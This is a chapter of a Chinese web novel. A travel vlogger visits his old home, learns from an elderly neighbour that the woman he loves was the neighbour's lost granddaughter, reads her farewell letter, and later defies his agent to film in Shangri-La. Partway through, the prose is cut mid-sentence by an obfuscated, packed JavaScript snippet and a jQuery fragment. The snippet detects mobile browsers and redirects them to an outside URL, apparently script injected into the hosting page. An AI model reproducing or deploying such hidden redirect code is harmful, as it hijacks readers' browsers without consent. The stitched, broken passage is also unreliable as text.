寒皋鸟叫从林中传来,与朝阳一道撕破拂晓。
这叫声悠长愉悦,仿若倾注进它一生的幸事在其中。
早训刚结束,人群陆陆续续四散开,阵阵哄闹掩去林间的欢欣。
季复喧转向入林,哪里还找得到那只寒皋鸟?
他无比沮丧,只能沿路而行,往复穿游荡梭于密林中。
当时间消失,苦涩生硬的叫声又出现了——
它拖拽起夜幕,一切都遁入其中,遁入这连它的羽毛都无法比拟的黑暗中。
它嘶哑着嗓音昭告道路消失无踪,世界陷入无序。
季复喧走了很久,精疲力竭,生出同泥土和荒草一般停留、倾颓于此的念头。
他席地而坐,麻木了千百年。
直到他垂垂老矣,一条不知从何而来的道路蔓延到脚下,银光熠熠。
头顶枝梢交错,从缝隙里得以窥见冷月高悬。
止步太久,他已经忘记如何行走。
试着迈出第一步后,抬头就看见有个熟悉的背影等在路的尽头。
他日复一日的奔跑,不敢停下,不敢休息,不敢闭眼。
光阴蹉跎,始终千里相隔。
终于快要追上时,天光乍破。
原来尽是浮沫泡影。
——
暖风和煦,又是一场酣梦难醒。
其实是噩梦。
只不过季复喧总会把它曲解为不可多得的仓促会面,因为有那背影的出现。
那人是谁不言而喻。
小半年光景过去,季复喧还是会偶尔梦见她。
相较于刚醒那段时日噩梦频发的状态,现今已经好了不少——至少山征行能放心他一个人生活工作,且没再催过他去看医生。
今天所有的拍摄结束后,季复喧又回了凤起的老房子一趟。
灰尘在午后的阳光里轻舞,安详闲适。
“如果你们还在的话,”用指腹抹去玻璃隔板上的灰,父母年轻时神采英拔的模样清晰入眼,他自嘲道:“肯定觉得我很没用吧?”
他们总会否定他的自我怀疑,这次也一样,砸了个挂钟做表示。
这位老伙计的指针止步不前,背面的卡扣也不堪重负,在忍受无边寂寞后化为一堆残片。
不知何时出现在玄关处的老头手持衣叉,怒色厉声:“你是谁!要干什么!”
只听声音就知道是邻居老黎,季复喧故意不转身,沉下嗓音捉弄他:“老头,我劝你把家里值钱的东西交出来,不然……”
台词还没说完,他就被一衣叉打得上蹿下跳。
老头一棒接一棒往季复喧身上招呼,下手快准狠,没一棒落空。
嘴里还喋喋不休:“我让你交!我让你交!回来也不说一声!”
老黎拄着衣叉喘气,一双眼睛就没离开过季复喧,故作的忿然神态遮不住他心中欢慰。
季复喧打趣他:“你还瞪我,才回来就被追着打,我敢说吗?”
“这次回来待多久?”
“明天下午的航班。”
这话的确有些败兴致,许久不见的老少两人都没了嬉闹的心情,相顾无言。
老黎拿过他手里的挂钟,拆开装裱查看内部:“不少零件生锈,没法儿修了。”
“将近二十年,它走到尽头了。”
就像这个原本温馨、值得牵挂的家一样。
“晚饭给你准备着,还是不吃姜,对吧?”
老黎习惯性地将两手交叠在身后,不急不缓回家去。
季复喧“嗯”了声,心底生出一股暖流的同时也难免酸楚,门口这个伴他长大的人,身躯佝偻,日渐瘦削。
始终不变的,就是记得他的喜好,在他回家后准备好晚饭。
——
浓郁香气和鲜美汤汁均匀包裹住每一根面条,季复喧不禁赞叹:“宝刀未老!没想到老头你的手艺还是这么好。”
“食不言。”
“哦,我闭嘴。”
老黎瞪他一眼,没有下文。
这一刻,与少时的每一个傍晚重叠,炽烈云霞下,是再普通不过的日子。
父母总是忙碌到半夜才归家,老黎备好晚饭等他放学。
记忆最深处,还有一个孩子与他为伴,四处闯祸,打碎老黎不少东西。
季复喧挂起洗碗布:“我刚刚想起来,小时候好像有个和我年纪差不多的孩子在你这里,他去哪儿了?”
瘦骨嶙峋的一双手微微颤抖,老黎捏紧拳头,却没说一个字。
看情况不妙,他连忙解释说:“我没别的意思,只是突然想起来。”
“下落不明,”老黎取下隔挡墙壁上的相框,潸然泪下:“七岁生日才过,就,就被拐走。他爸妈受不了这个刺激,前后脚没了。”
照片上是老黎和两个孩子,挂在那里多年,但老黎从未讲过。
“他叫什么?”
“黎明。”
世界上重名同迹的人不在少数,但季复喧还是免不了心中一惊。
他犹豫着伸出手,颤巍巍地指向另一个孩子:“那她呢?”
“黎黯。”
耳中尖锐鸣声乍起,以及鱼缸的制氧机持续发出的噪音。
吵得人不能思考。
送给谢禾雨的行迹册她没有带走,她将其交给范围保管。
兜兜转转,最终还是回到季复喧手中,他和以前一样仍然将它随身携带。
直到他在格鲁吉亚圣剑山下翻开空白的尾页,打算继续书写这一程的见闻时,才发现她留下的信件。
信封上署名黎黯。
“弟弟不见,爸妈去世,那些亲戚又抢走他们家的医馆。当年黎黯也不过十来岁,叔伯姑姨踢皮球似的,都不想照顾她。没人知道她这些年在哪里、过得怎么样……造化弄人,都是命啊。”
命?
命!
命。
——
孤山路两侧梧桐纷纷落叶,地面点点橙黄斑驳。
在这个暑热未消的城市里,某些角落已经渐渐展现出初秋的景象。
湖面柔和地泛起余晖,晚风残荷相映。
这封半年前就写好的信,他终于有勇气展开。
“致季复喧:
很高兴你能看见这封信。
不知道现在你那里是什么季节,如果天气好,记得多晒晒太阳。林芝的冬天太冷,偏偏你没等到春天,实在可惜……
不说煽情的话了。
一别数年,没想过还能见到你。分明有很多话想说,但不知从何开始才会少些疏离感。总之,很感谢你愿意在我身上花费一个月的时间。
本以为会有一个不算伤感的分别作为这场短暂相遇的结尾,可成了这个样子。
我的运气一向不好,身边的人总会因我受伤。
这次捅伤你的人为报复我而来,最后却伤到你。责任在我。责任在我。
无论是怪我、怨我、恨我都理所应当,我不知道如何补偿你,因为除了那些为数不多的积蓄,我没拥有些什么。密码是你的生日。
未免给你增添麻烦,这份礼物不能留在我身边。
希望你能填满行迹册的空白页,在山川万物中,寻到自己的一生之解。
如果有机会再见,请带上故事的结局。
2019.3.21/春分
黎黯落笔”
“恨”字被一滴泪晕开,消失于折痕中。
当初谢禾雨为他负伤,是怪过、怨过还是恨过吗?
孤山吞下日头,波光粼粼的湖面安静下来,冷寂的世界叫人苦涩难言。
一张银行卡从信封中滑落,重重砸在季复喧心头。
字里行间都写她分明记得他,也期盼与他重逢。
却又要与他划清界限。
雪夜遇她。
相逢已是万幸,何故多痴妄?
告白于她。
真心未蒙尘,哪还有遗憾?
泪水划过笑着的脸,谁知是喜极而泣还是无奈苦笑,活脱脱像个疯子。
天高地阔,人海茫茫。
再见,堪当世间第一等难事。
哪儿有机会读到结局?
——
将近一年没有更新的季复喧,商业价值直线下降。
复出
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16781425|190436||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
的一个月里,联系他的广告商及他接到的品牌代言屈指可数。
谁让他在势头大好之际销声匿迹。
林姐评价季复喧:一手好牌打得稀烂。
又是林姐的电话,不过她没再打算挖这个热度渐退走下坡路的人。
这次只是正常的合作沟通。
准确来说,是问责。
此刻,本该落地史基浦机场的季复喧,撺掇助理携摄影团队暗渡陈仓——正在香格里拉赶写脚本找机位。
“你这么玩儿是吧?行啊。乌特勒支已经损失的预算从你私人账户上扣、你带走的那组人他们的底薪自负、视频内容不到位品牌方撕破脸索赔你也自己承担!”
林姐骂完就挂,丝毫不拖泥带水。
头回见她这么干脆,没价值也好,耳边清净。
摄影问:“其实我也好奇你怎么临时起意决定来这儿?”
“评论区有个粉丝说想让我回望起点、重拾初心,我听劝。”
眼前金黄的草甸承载夕阳的大部分,天地间独一份儿的温暖柔和。
从头来过的话,唯有昔日景色依旧。
夕阳映在摄影半边脸上,她冷笑一声:“别说那些有的没的,共事这么多年,我还不知道你是什么人?”
“我是什么人?”
“反正不是会为一条评论或者一个粉丝做赔本买卖的人。”
秋风送来牛羊的低鸣又匆匆而过,这段有头没尾的对话也随之去了,不知会消散在哪片山林。
香格里拉是季复喧第一条视频的主角,也是他的起点。
世俗之外,是乌托邦的残影。
是故地重游,再遇初心。
摄影说的不完全对。
至少在才踏上这片土地、穿过第一条古街、寻到第一座孤岛、追逐第一场极光时,他还是一个满怀热情不染铜臭的人。
旅途中见过的晨昏线,一次次分割他和过去。
他去往远方,却永远无法抵达远方。
因为行囊太重,塞满名利与粮食。
他似乎忘了,在一段旅程中,心有牵绊的人走不远,背负太多的人走不长。
起初二者皆非,直到他渐渐背上行囊,无法行走。
现在他已经愚蠢得以一个几乎不可能再见的人为路径。
雨崩就在两百公里之外,完成最后的工作,他就在那里找个落脚点等谢禾雨的匆匆一瞥。
这样的想法,不会有人认同。
只有铜铃与经幡的合奏会给他答案。
纳帕海的风从千年前的石刻经文上来,轻抚每一株秋草,扰得经幡猎猎作响后又悄然探访独克宗古城中的与它同龄的石板小路。
人群熙来攘往,两侧商铺鳞集。
长街尽头,其实是金龙街与东廊街交叉口处,摄影机显示屏里同步着夕阳下辉煌夺目的佛寺金顶。
季复喧自己上手调整参数,摄影师则从十几米开外拎着礼品袋小跑而来。
“我来我来我来!”
摄影师喘着气,把手中东西挂在脚架上。
礼品袋外封上那只竖直耳朵张圆大嘴露出尖牙的瓦猫不似传统建筑上的那般可怖,缤纷釉彩显得它圆头圆脑憨憨笨笨。
季复喧好奇:“给你家老二带的?”
摄影摇摇头:“老大前两年看漫画看见过,跟我提过一句。”
“挺好的。这边空镜拍完就到博物馆,我先回去对一下文案。”
“等等,这里没别人,你就不能告诉我到底为什么突然改变行程?后边的商业你也推了不少,你休假的一年里到底发生了什么事?”
“不想干了。”
西空云霞层生,日光渐退。
季复喧没有回到酒店,而是循着一条僻静的小路漫无目地游荡。
拨出的电话被挂断一次又一次,输入框的文字删删减减,弦月都挂上山头了他还没有敲定一个字。
已经看不见前路了,季复喧不带任何希望地再次按下那个电话号码。
没想到对方会接通,只不过那人未有一语。
季复喧犹豫开口:“哥,我想这条拍完就辞职。”